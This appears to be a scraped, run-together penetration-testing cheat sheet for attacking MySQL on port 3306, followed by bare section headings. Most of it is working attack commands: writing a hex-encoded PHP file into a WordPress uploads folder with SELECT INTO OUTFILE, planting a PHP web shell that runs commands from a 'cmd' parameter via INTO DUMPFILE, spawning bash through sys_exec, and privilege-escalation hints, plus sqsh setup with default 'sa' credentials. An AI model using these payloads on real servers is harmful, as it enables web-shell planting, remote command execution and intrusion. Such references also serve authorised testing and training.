πPort 3306 (MYSQL)
shell
echo -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e
select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';tips
select sys_exec('/bin/bash');
bash -p or sudo susqsh:
sqsh program: apt-get install sqsh freetds-bin freetds-common freetds-dev
usage:
add to the bottom of freetds.conf:
[hostname] host = 192.168.168.169
port = 2600
tds version = 8.0
edit ~/.sqshrc:
\set username=sa
\set password=password
\set style=vert
connect: sqsh -S hostnamefile inclusion
nmap nse
Brute force
Extracting MySQL credentials from files
Connect
MySQL commands
Manual exploit
Last updated